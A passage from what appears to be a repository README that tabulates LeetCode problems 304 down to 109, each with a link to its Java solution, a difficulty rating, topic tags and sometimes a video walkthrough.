Immutable](https://leetcode.com/problems/range-sum-query-2d-immutable/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_304.java) | | Medium | | 303 |[Range Sum Query - Immutable](https://leetcode.com/problems/range-sum-query-immutable/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_303.java) | | Easy | | 302 |[Smallest Rectangle Enclosing Black Pixels](https://leetcode.com/problems/smallest-rectangle-enclosing-black-pixels/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_302.java) | | Hard | DFS, BFS | 301 |[Remove Invalid Parentheses](https://leetcode.com/problems/remove-invalid-parentheses/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_301.java) | | Hard | BFS | 300 |[Longest Increasing Subsequence](https://leetcode.com/problems/longest-increasing-subsequence/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_300.java) | | Medium | DP | 299 |[Bulls and Cows](https://leetcode.com/problems/bulls-and-cows/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_299.java) | | Easy | | 298 |[Binary Tree Longest Consecutive Sequence](https://leetcode.com/problems/binary-tree-longest-consecutive-sequence/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_298.java) | | Medium | Tree | 297 |[Serialize and Deserialize Binary Tree](https://leetcode.com/problems/serialize-and-deserialize-binary-tree/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_297.java) | | Hard | BFS | 296 |[Best Meeting Point](https://leetcode.com/problems/best-meeting-point/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_296.java) | | Hard | | 295 |[Find Median from Data Stream](https://leetcode.com/problems/find-median-from-data-stream/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_295.java) | | Hard | Heap | 294 |[Flip Game II](https://leetcode.com/problems/flip-game-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_294.java) | | Medium | Backtracking | 293 |[Flip Game](https://leetcode.com/problems/flip-game/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_293.java) | | Easy | | 292 |[Nim Game](https://leetcode.com/problems/nim-game/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_292.java) | | Easy | | 291 |[Word Pattern II](https://leetcode.com/problems/word-pattern-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_291.java) | | Hard | Recursion, Backtracking | 290 |[Word Pattern](https://leetcode.com/problems/word-pattern/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_290.java) | | Easy | HashMap | 289 |[Game of Life](https://leetcode.com/problems/game-of-life/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_289.java) | [:tv:](https://youtu.be/YZ-W5DrKPQ0) | Medium | | 288 |[Unique Word Abbreviation](https://leetcode.com/problems/unique-word-abbreviation/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_288.java) | | Easy | | 287 |[Find the Duplicate Number](https://leetcode.com/problems/find-the-duplicate-number/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_287.java) | | Medium | | 286 |[Walls and Gates](https://leetcode.com/problems/walls-and-gates/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_286.java) | | Medium | BFS | 285 |[Inorder Successor In BST](https://leetcode.com/problems/inorder-successor-in-bst/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_285.java) | | Medium | Tree | 284 |[Peeking Iterator](https://leetcode.com/problems/peeking-iterator/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_284.java) | | Medium | Design | 283 |[Move Zeroes](https://leetcode.com/problems/move-zeroes/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_283.java) | [:tv:](https://youtu.be/39VJV4KVyi8) | Easy | | 282 |[Expression Add Operators](https://leetcode.com/problems/expression-add-operators/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_282.java) | | Hard | | 281 |[Zigzag Iterator](https://leetcode.com/problems/zigzag-iterator/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_281.java) | | Medium | | 280 |[Wiggle Sort](https://leetcode.com/problems/wiggle-sort/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_280.java) | | Medium | | 279 |[Perfect Squares](https://leetcode.com/problems/perfect-squares/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_279.java) | | Medium | | 278 |[First Bad Version](https://leetcode.com/problems/first-bad-version/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_278.java) | [:tv:](https://youtu.be/E15djRphPj0) | Easy | Binary Search | 277 |[Find the Celebrity](https://leetcode.com/problems/find-the-celebrity/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_277.java) | | Medium | | 276 |[Paint Fence](https://leetcode.com/problems/paint-fence/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_276.java) | | Easy | DP | 275 |[H-Index II](https://leetcode.com/problems/h-index-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_275.java) | | Medium | Binary Search | 274 |[H-Index](https://leetcode.com/problems/h-index/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_274.java) | | Medium | | 273 |[Integer to English Words](https://leetcode.com/problems/integer-to-english-words/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_273.java) | | Hard | Math, String | 272 |[Closest Binary Search Tree Value II](https://leetcode.com/problems/closest-binary-search-tree-value-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_272.java) | | Hard | Stack | 271 |[Encode and Decode Strings](https://leetcode.com/problems/encode-and-decode-strings/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_271.java) | | | Medium | | 270 |[Closest Binary Search Tree Value](https://leetcode.com/problems/closest-binary-search-tree-value/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_270.java) | | | Easy | DFS | 269 |[Alien Dictionary](https://leetcode.com/problems/alien-dictionary/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_269.java) | | | Hard | Topological Sort | 268 |[Missing Number](https://leetcode.com/problems/missing-number/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_268.java) | | | Easy | Bit Manipulation | 267 |[Palindrome Permutation II](https://leetcode.com/problems/palindrome-permutation-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_267.java) | | Medium | | 266 |[Palindrome Permutation](https://leetcode.com/problems/palindrome-permutation/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_266.java) | | Easy | | 265 |[Paint House II](https://leetcode.com/problems/paint-house-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_265.java) | | Hard | DP | 264 |[Ugly Number II](https://leetcode.com/problems/ugly-number-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_264.java) | | Medium | DP | 263 |[Ugly Number](https://leetcode.com/problems/ugly-number/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_263.java) | | Easy | | 261 |[Graph Valid Tree](https://leetcode.com/problems/graph-valid-tree/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_261.java) | | Medium | | 260 |[Single Number III](https://leetcode.com/problems/single-number-iii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_260.java) | | Medium | | 259 |[3Sum Smaller](https://leetcode.com/problems/3sum-smaller/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_259.java) | | Medium | | 258 |[Add Digits](https://leetcode.com/problems/add-digits/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_258.java) | | Easy | | 257 |[Binary Tree Paths](https://leetcode.com/problems/binary-tree-paths/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_257.java) | || DFS/Recursion | 256 |[Paint House](https://leetcode.com/problems/paint-house/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_256.java) | | Medium | DP | 255 |[Verify Preorder Sequence in Binary Search Tree](https://leetcode.com/problems/verify-preorder-sequence-in-binary-search-tree/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_255.java) | | Medium | Tree | 254 |[Factor Combinations](https://leetcode.com/problems/factor-combinations/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_254.java) | | Medium | Backtracking | 253 |[Meeting Rooms II](https://leetcode.com/problems/meeting-rooms-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_253.java) | | Medium | Heap | 252 |[Meeting Rooms](https://leetcode.com/problems/meeting-rooms/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_252.java) | | Easy | 251 |[Flatten 2D Vector](https://leetcode.com/problems/flatten-2d-vector/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_251.java) | | Medium | | 250 |[Count Univalue Subtrees](https://leetcode.com/problems/count-univalue-subtrees/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_250.java) | | Medium | DFS | 249 |[Group Shifted Strings](https://leetcode.com/problems/group-shifted-strings/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_249.java) | || | 248 |[Strobogrammatic Number III](https://leetcode.com/problems/strobogrammatic-number-iii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_248.java) | | Hard | Recursion, DFS | 247 |[Strobogrammatic Number II](https://leetcode.com/problems/strobogrammatic-number-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_247.java) | | Medium | Recursion | 246 |[Strobogrammatic Number](https://leetcode.com/problems/strobogrammatic-number/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_246.java) | | Easy | 245 |[Shortest Word Distance III](https://leetcode.com/problems/shortest-word-distance-iii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_245.java) | | Medium | | 244 |[Shortest Word Distance II](https://leetcode.com/problems/shortest-word-distance-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_244.java) | | Medium | HashMap | 243 |[Shortest Word Distance](https://leetcode.com/problems/shortest-word-distance/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_243.java) | | Easy | 242 |[Valid Anagram](https://leetcode.com/problems/valid-anagram/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_242.java) | [:tv:](https://youtu.be/7U3dMXiQBrU) | Easy | 241 |[Different Ways to Add Parentheses](https://leetcode.com/problems/different-ways-to-add-parentheses/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_241.java) | | Medium | Divide and Conquer | 240 |[Search a 2D Matrix II](https://leetcode.com/problems/search-a-2d-matrix-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_240.java) | | Medium | Binary Search | 239 |[Sliding Window Maximum](https://leetcode.com/problems/sliding-window-maximum/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_239.java) | | Hard | Heap | 238 |[Product of Array Except Self](https://leetcode.com/problems/product-of-array-except-self/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_238.java) | | Medium | Array | 237 |[Delete Node in a Linked List](https://leetcode.com/problems/delete-node-in-a-linked-list/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_237.java) | [:tv:](https://youtu.be/sW8ZaOTtvgI) | Easy | LinkedList | 236 |[Lowest Common Ancestor of a Binary Tree](https://leetcode.com/problems/lowest-common-ancestor-of-a-binary-tree/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_236.java) | | Medium | DFS | 235 |[Lowest Common Ancestor of a Binary Search Tree](https://leetcode.com/problems/lowest-common-ancestor-of-a-binary-search-tree/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_235.java) | [:tv:](https://youtu.be/ML6vGnziUaI) | Medium | DFS | 234 |[Palindrome Linked List](https://leetcode.com/problems/palindrome-linked-list/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_234.java) | [:tv:](https://youtu.be/bOGh_3MTrdE) | Easy | Linked List | 233 |[Number of Digit One](https://leetcode.com/problems/number-of-digit-one/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_233.java) | | Hard | Math | 232 |[Implement Queue using Stacks](https://leetcode.com/problems/implement-queue-using-stacks/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_232.java) | | Medium | Stack, Design | 231 |[Power of Two](https://leetcode.com/problems/power-of-two/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_231.java) | | Easy | | 230 |[Kth Smallest Element in a BST](https://leetcode.com/problems/kth-smallest-element-in-a-bst/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_230.java) | | Medium | Tree | 229 |[Majority Element II](https://leetcode.com/problems/majority-element-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_229.java) | | Medium | | 228 |[Summary Ranges](https://leetcode.com/problems/summary-ranges/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_228.java) | | Medium | Array | 227 |[Basic Calculator II](https://leetcode.com/problems/basic-calculator-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_227.java) | | Medium | String | 226 |[Invert Binary Tree](https://leetcode.com/problems/invert-binary-tree/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_226.java) | | Easy | DFS, recursion | 225 |[Implement Stack using Queues](https://leetcode.com/problems/implement-stack-using-queues/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_225.java) | | Easy | Stack, Queue | 224 |[Basic Calculator](https://leetcode.com/problems/basic-calculator/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_224.java) | | Hard | | 223 |[Rectangle Area](https://leetcode.com/problems/rectangle-area/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_223.java) | | Easy | | 222 |[Count Complete Tree Nodes](https://leetcode.com/problems/count-complete-tree-nodes/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_222.java) | | Medium | Recursion | 221 |[Maximal Square](https://leetcode.com/problems/maximal-square/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_221.java) | | Medium | Recursion | 220 |[Contains Duplicate III](https://leetcode.com/problems/contains-duplicate-iii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_220.java) | [:tv:](https://youtu.be/Cu7g9ovYHNI) | Medium | TreeSet | 219 |[Contains Duplicate II](https://leetcode.com/problems/contains-duplicate-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_219.java) | [:tv:](https://youtu.be/SFMCxqSeM94) | Easy | HashMap | 218 |[The Skyline Problem](https://leetcode.com/problems/the-skyline-problem/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_218.java) | | Hard | TreeMap, Design | 217 |[Contains Duplicate](https://leetcode.com/problems/contains-duplicate/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_217.java) | [:tv:](https://youtu.be/SFMCxqSeM94) | Easy | HashSet | 216 |[Combination Sum III](https://leetcode.com/problems/combination-sum-iii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_216.java) | | Medium | Backtracking | 215 |[Kth Largest Element in an Array](https://leetcode.com/problems/kth-largest-element-in-an-array/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_215.java) | | Medium | Heap | 214 |[Shortest Palindrome](https://leetcode.com/problems/shortest-palindrome/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_214.java) | | Hard | KMP | 213 |[House Robber II](https://leetcode.com/problems/house-robber-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_213.java) | | Medium | DP | 212 |[Word Search II](https://leetcode.com/problems/word-search-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/WordSearchII.java) | | Hard | Trie | 211 |[Add and Search Word - Data structure design](https://leetcode.com/problems/add-and-search-word-data-structure-design/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_211.java) | | Medium | Trie | 210 |[Course Schedule II](https://leetcode.com/problems/course-schedule-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_210.java) | | Medium | | 209 |[Minimum Size Subarray Sum](https://leetcode.com/problems/minimum-size-subarray-sum/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_209.java) | | Medium | | 208 |[Implement Trie](https://leetcode.com/problems/implement-trie-prefix-tree/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_208.java) | [:tv:](https://youtu.be/Br7Wt4V5o1c) | Medium | Trie | 207 |[Course Schedule](https://leetcode.com/problems/course-schedule/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_207.java) | | Medium | | 206 |[Reverse Linked List](https://leetcode.com/problems/reverse-linked-list/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_206.java) | [:tv:](https://youtu.be/N_Y12-5oa-w) | Easy | Linked List | 205 |[Isomorphic Strings](https://leetcode.com/problems/isomorphic-strings/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_205.java) | | Easy | 204 |[Count Primes](https://leetcode.com/problems/count-primes/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_204.java) | | Easy | The Sieve of Eratosthenes | 203 |[Remove Linked List Elements](https://leetcode.com/problems/remove-linked-list-elements/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_203.java) | | Easy | 202 |[Happy Number](https://leetcode.com/problems/happy-number/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_202.java) | | Easy | 201 |[Bitwise AND of Numbers Range](https://leetcode.com/problems/bitwise-and-of-numbers-range/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_201.java) | | Medium | Bit Manipulation | 200 |[Number of Islands](https://leetcode.com/problems/number-of-islands/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_200.java) | | Medium | Union Find, DFS | 199 |[Binary Tree Right Side View](https://leetcode.com/problems/binary-tree-right-side-view/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_199.java) | | Medium | BFS | 198 |[House Robber](https://leetcode.com/problems/house-robber/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_198.java) | | Easy | DP | 191 |[Number of 1 Bits](https://leetcode.com/problems/number-of-1-bits/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_191.java) | | Easy | Bit Manipulation | 190 |[Reverse Bits](https://leetcode.com/problems/reverse-bits/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_190.java) | | Easy | Bit Manipulation | 189 |[Rotate Array](https://leetcode.com/problems/rotate-array/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_189.java) | [:tv:](https://youtu.be/lTHTR_jsqAQ) | Easy | 188 |[Best Time to Buy and Sell Stock IV](https://leetcode.com/problems/best-time-to-buy-and-sell-stock-iv/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_188.java) | | Hard | DP | 187 |[Repeated DNA Sequences](https://leetcode.com/problems/repeated-dna-sequences/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_187.java) | | Medium | 186 |[Reverse Words in a String II](https://leetcode.com/problems/reverse-words-in-a-string-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_186.java) | | Medium | 179 |[Largest Number](https://leetcode.com/problems/largest-number/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_179.java) | | Medium | | 174 |[Dungeon Game](https://leetcode.com/problems/dungeon-game/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_174.java) | | Hard | DP | 173 |[Binary Search Tree Iterator](https://leetcode.com/problems/binary-search-tree-iterator/)| [Solution](../../blmaster/MEDIUM/src/medium/_173.java) | | Medium | Stack, Design | 172 |[Factorial Trailing Zeroes](https://leetcode.com/problems/factorial-trailing-zeroes/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_172.java) | | Easy | 171 |[Excel Sheet Column Number](https://leetcode.com/problems/excel-sheet-column-number/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_171.java) | | Easy | 170 |[Two Sum III - Data structure design](https://leetcode.com/problems/two-sum-iii-data-structure-design/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_170.java) | | Easy | 169 |[Majority Element](https://leetcode.com/problems/majority-element/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_169.java) | [:tv:](https://youtu.be/M1IL4hz0QrE) | Easy | | 168 |[Excel Sheet Column Title](https://leetcode.com/problems/excel-sheet-column-title/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_168.java) | | Easy | | 167 |[Two Sum II - Input array is sorted](https://leetcode.com/problems/two-sum-ii-input-array-is-sorted/)| [Java](../master/src/main/java/com/fishercoder/solutions/_167.java), [Javascript](../master/javascript/_167.js) | | Easy | Binary Search | 166 |[Fraction to Recurring Decimal](https://leetcode.com/problems/fraction-to-recurring-decimal/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_166.java) | | Medium | HashMap | 165 |[Compare Version Numbers](https://leetcode.com/problems/compare-version-numbers/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_165.java) | | Easy | | 164 |[Maximum Gap](https://leetcode.com/problems/maximum-gap/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_164.java) | | Hard | | 163 |[Missing Ranges](https://leetcode.com/problems/missing-ranges/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_163.java) | || | 162 |[Find Peak Element](https://leetcode.com/problems/find-peak-element/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_162.java) | | Binary Search | | 161 |[One Edit Distance](https://leetcode.com/problems/one-edit-distance/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_161.java) | || | 160 |[Intersection of Two Linked Lists](https://leetcode.com/problems/intersection-of-two-linked-lists/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_160.java) | | Easy | Linked List | 159 |[Longest Substring with At Most Two Distinct Characters](https://leetcode.com/problems/longest-substring-with-at-most-two-distinct-characters/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_159.java) | | Hard | String, Sliding Window | 158 |[Read N Characters Given Read4 II - Call multiple times](https://leetcode.com/problems/read-n-characters-given-read4-ii-call-multiple-times/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_158.java) | | Hard | | 157 |[Read N Characters Given Read4](https://leetcode.com/problems/read-n-characters-given-read4/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_157.java) | | Easy | | 156 |[Binary Tree Upside Down](https://leetcode.com/problems/binary-tree-upside-down/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_156.java) | | Medium | Tree, Recursion | 155 |[Min Stack](https://leetcode.com/problems/min-stack/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_155.java) | | Easy | Stack | 154 |[Find Minimum in Rotated Sorted Array II](https://leetcode.com/problems/find-minimum-in-rotated-sorted-array-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_154.java) | | Hard | Array, Binary Search | 153 |[Find Minimum in Rotated Sorted Array](https://leetcode.com/problems/find-minimum-in-rotated-sorted-array/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_153.java) | | Medium | Array, Binary Search | 152 |[Maximum Product Subarray](https://leetcode.com/problems/maximum-product-subarray/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_152.java) | | Medium | Array | 151 |[Reverse Words in a String](https://leetcode.com/problems/reverse-words-in-a-string/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_151.java) | | Medium | String | 150 |[Evaluate Reverse Polish Notation](https://leetcode.com/problems/evaluate-reverse-polish-notation/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_150.java) | | Medium | 149 |[Max Points on a Line](https://leetcode.com/problems/max-points-on-a-line/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_149.java) | | Hard | | 148 |[Sort List](https://leetcode.com/problems/sort-list/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_148.java) || Medium | Linked List, Sorting | 147 |[Insertion Sort List](https://leetcode.com/problems/insertion-sort-list/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_147.java) || Medium | Linked List | 146 |[LRU Cache](https://leetcode.com/problems/lru-cache/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_146.java) | | Hard | Doubly Linked List, LinkedHashMap | 145 |[Binary Tree Postorder Traversal](https://leetcode.com/problems/binary-tree-postorder-traversal/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_145.java) | [:tv:](https://youtu.be/B6XTLPpsW7k) | Easy | Binary Tree | 144 |[Binary Tree Preorder Traversal](https://leetcode.com/problems/binary-tree-preorder-traversal/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_144.java) | [:tv:](https://youtu.be/367McfIeBDM) and [:tv:](https://youtu.be/vMHaqhiTn7Y) | Medium | Binary Tree | 143 |[Reorder List](https://leetcode.com/problems/reorder-list/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_143.java) | | Medium | | 142 |[Linked List Cycle II](https://leetcode.com/problems/linked-list-cycle-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_142.java) | | Medium | Linked List | 141 |[Linked List Cycle](https://leetcode.com/problems/linked-list-cycle/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_141.java) | [:tv:](https://youtu.be/agkyC-rbgKM) | Easy | Linked List | 140 |[Word Break II](https://leetcode.com/problems/word-break-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_140.java) | | Hard | Backtracking/DFS | 139 |[Word Break](https://leetcode.com/problems/word-break/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_139.java) | [:tv:](https://youtu.be/iWenZCZEBIA) | Medium | DP, Pruning | 138 |[Copy List with Random Pointer](https://leetcode.com/problems/copy-list-with-random-pointer/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_138.java) | | Medium | LinkedList, HashMap | 137 |[Single Number II](https://leetcode.com/problems/single-number-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_137.java) | | Medium | Bit Manipulation | 136 |[Single Number](https://leetcode.com/problems/single-number/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_136.java) | [:tv:](https://youtu.be/gJ8VcJ8f_Vk) | Easy | Bit Manipulation | 135 |[Candy](https://leetcode.com/problems/candy/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_135.java) | | Hard | Greedy | 134 |[Gas Station](https://leetcode.com/problems/gas-station/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_134.java) | | Medium | Greedy | 133 |[Clone Graph](https://leetcode.com/problems/clone-graph/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_133.java) | | Medium | HashMap, BFS, Graph | 132 |[Palindrome Partitioning II](https://leetcode.com/problems/palindrome-partitioning-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_132.java) | | Hard | | 131 |[Palindrome Partitioning](https://leetcode.com/problems/palindrome-partitioning/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_131.java) | | Medium | | 130 |[Surrounded Regions](https://leetcode.com/problems/surrounded-regions/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_130.java) | | Medium | | 129 |[Sum Root to Leaf Numbers](https://leetcode.com/problems/sum-root-to-leaf-numbers/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_129.java) | | Medium | DFS | 128 |[Longest Consecutive Sequence](https://leetcode.com/problems/longest-consecutive-sequence/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_128.java) | | Hard | Union Find | 127 |[Word Ladder](https://leetcode.com/problems/word-ladder/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_127.java) | | Hard | BFS | 126 |[Word Ladder II](https://leetcode.com/problems/word-ladder-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_126.java) | | Hard | BFS | 125 |[Valid Palindrome](https://leetcode.com/problems/valid-palindrome/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_125.java) | | Easy | Two Pointers | 124 |[Binary Tree Maximum Path Sum](https://leetcode.com/problems/binary-tree-maximum-path-sum/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_124.java) | | Hard | Tree, DFS | 123 |[Best Time to Buy and Sell Stock III](https://leetcode.com/problems/best-time-to-buy-and-sell-stock-iii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_123.java) | | Hard | DP | 122 |[Best Time to Buy and Sell Stock II](https://leetcode.com/problems/best-time-to-buy-and-sell-stock-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_122.java) | | Easy | Greedy | 121 |[Best Time to Buy and Sell Stock](https://leetcode.com/problems/best-time-to-buy-and-sell-stock/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_121.java) | | Easy | | 120 |[Triangle](https://leetcode.com/problems/triangle/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_120.java) | | Medium | DP | 119 |[Pascal's Triangle II](https://leetcode.com/problems/pascals-triangle-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_119.java) | [:tv:](https://www.youtube.com/watch?v=iVhmR1bzKoo) | Easy | | 118 |[Pascal's Triangle](https://leetcode.com/problems/pascals-triangle/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_118.java) | [:tv:](https://www.youtube.com/watch?v=TXd5lfP3Gac) | Easy | | 117 |[Populating Next Right Pointers in Each Node II](https://leetcode.com/problems/populating-parents-right-pointers-in-each-node-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_117.java) | | Medium | BFS | 116 |[Populating Next Right Pointers in Each Node](https://leetcode.com/problems/populating-parents-right-pointers-in-each-node/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_116.java) | | Medium | BFS | 115 |[Distinct Subsequences](https://leetcode.com/problems/distinct-subsequences/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_115.java) | | Hard | DP | 114 |[Flatten Binary Tree to Linked List](https://leetcode.com/problems/flatten-binary-tree-to-linked-list/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_114.java) | | Medium | Tree | 113 |[Path Sum II](https://leetcode.com/problems/path-sum-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_113.java) | | Medium | DFS, Backtracking | 112 |[Path Sum](https://leetcode.com/problems/path-sum/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_112.java) | | Easy | DFS | 111 |[Minimum Depth of Binary Tree](https://leetcode.com/problems/minimum-depth-of-binary-tree/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_111.java) | | Easy | BFS, DFS | 110 |[Balanced Binary Tree](https://leetcode.com/problems/balanced-binary-tree/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_110.java) | | Easy | DFS | 109 |[Convert Sorted List to Binary Search Tree](https://leetcode.com/problems/convert-sorted-list-to-binary-search-tree/)| 